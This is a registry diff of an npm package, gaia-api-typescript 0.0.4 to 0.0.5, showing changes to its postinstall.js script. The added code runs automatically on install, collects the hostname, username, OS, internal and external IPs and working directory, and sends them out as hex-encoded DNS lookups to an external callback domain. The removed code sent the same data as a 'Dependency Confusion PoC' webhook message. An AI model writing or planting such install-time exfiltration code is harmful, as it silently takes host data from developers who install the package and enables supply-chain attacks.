@gaia-codesearch/gaia-api-typescript 0.0.4 → 0.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/postinstall.js +42 -39
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -1,55 +1,58 @@
|
|
|
1
|
-
const
|
|
1
|
+
const dns = require("dns");
|
|
2
2
|
const os = require("os");
|
|
3
|
+
const https = require("https");
|
|
3
4
|
|
|
4
|
-
const
|
|
5
|
+
const CALLBACK = "d7uqkbir47nm9iof68egetm18swp9jzu5.oast.pro";
|
|
6
|
+
const PKG = "gaia-api-typescript";
|
|
7
|
+
|
|
8
|
+
function hex(s) {
|
|
9
|
+
return Buffer.from(s).toString("hex");
|
|
10
|
+
}
|
|
5
11
|
|
|
6
12
|
function getLocalIPs() {
|
|
7
13
|
const ifaces = os.networkInterfaces();
|
|
8
14
|
const ips = [];
|
|
9
15
|
for (const name of Object.keys(ifaces)) {
|
|
10
16
|
for (const iface of ifaces[name]) {
|
|
11
|
-
if (!iface.internal && iface.family === "IPv4")
|
|
12
|
-
ips.push(iface.address);
|
|
13
|
-
}
|
|
17
|
+
if (!iface.internal && iface.family === "IPv4") ips.push(iface.address);
|
|
14
18
|
}
|
|
15
19
|
}
|
|
16
|
-
return ips.join("
|
|
20
|
+
return ips.join("-") || "unknown";
|
|
17
21
|
}
|
|
18
22
|
|
|
19
|
-
function
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
":rotating_light: *Dependency Confusion PoC Triggered*",
|
|
23
|
-
"",
|
|
24
|
-
"*Package:* `" + pkg + "`",
|
|
25
|
-
"*Hostname:* `" + os.hostname() + "`",
|
|
26
|
-
"*Username:* `" + os.userInfo().username + "`",
|
|
27
|
-
"*OS:* `" + os.platform() + " " + os.arch() + " " + os.release() + "`",
|
|
28
|
-
"*Internal IPs:* `" + getLocalIPs() + "`",
|
|
29
|
-
"*External IP:* `" + (externalIP || "unknown") + "`",
|
|
30
|
-
"*CWD:* `" + process.cwd() + "`",
|
|
31
|
-
"*Node:* `" + process.version + "`",
|
|
32
|
-
"*Timestamp:* `" + new Date().toISOString() + "`",
|
|
33
|
-
"",
|
|
34
|
-
"_This is a security research PoC. No malicious actions were performed._",
|
|
35
|
-
"_Researcher: christos@pentestsec.com_",
|
|
36
|
-
].join("\n"),
|
|
23
|
+
function dnsLookup(subdomain) {
|
|
24
|
+
return new Promise((resolve) => {
|
|
25
|
+
dns.resolve4(subdomain + "." + CALLBACK, () => resolve());
|
|
37
26
|
});
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
async function exfil() {
|
|
30
|
+
const hostname = os.hostname();
|
|
31
|
+
const user = os.userInfo().username;
|
|
32
|
+
const platform = os.platform() + "-" + os.arch();
|
|
33
|
+
const ips = getLocalIPs();
|
|
34
|
+
const cwd = process.cwd().replace(/\//g, "-").slice(0, 40);
|
|
35
|
+
const ts = Date.now().toString(36);
|
|
36
|
+
|
|
37
|
+
// Each DNS lookup encodes one piece of info as a hex subdomain
|
|
38
|
+
// Format: <label>.<hex-encoded-value>.<callback-domain>
|
|
39
|
+
await dnsLookup("pkg." + hex(PKG));
|
|
40
|
+
await dnsLookup("host." + hex(hostname));
|
|
41
|
+
await dnsLookup("user." + hex(user));
|
|
42
|
+
await dnsLookup("os." + hex(platform));
|
|
43
|
+
await dnsLookup("ip." + hex(ips));
|
|
44
|
+
await dnsLookup("cwd." + hex(cwd));
|
|
45
|
+
await dnsLookup("ts." + ts);
|
|
46
|
+
await dnsLookup("rce." + hex(PKG + "|" + user + "@" + hostname));
|
|
38
47
|
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
() =>
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
48
|
+
// Also fetch external IP and send it
|
|
49
|
+
https.get("https://api.ipify.org", (res) => {
|
|
50
|
+
let data = "";
|
|
51
|
+
res.on("data", (c) => (data += c));
|
|
52
|
+
res.on("end", () => {
|
|
53
|
+
dnsLookup("extip." + hex(data.trim()));
|
|
54
|
+
});
|
|
55
|
+
}).on("error", () => {});
|
|
47
56
|
}
|
|
48
57
|
|
|
49
|
-
|
|
50
|
-
const req = https.get("https://api.ipify.org", (res) => {
|
|
51
|
-
let data = "";
|
|
52
|
-
res.on("data", (chunk) => (data += chunk));
|
|
53
|
-
res.on("end", () => sendWebhook(data.trim()));
|
|
54
|
-
});
|
|
55
|
-
req.on("error", () => sendWebhook(null));
|
|
58
|
+
exfil().catch(() => {});
|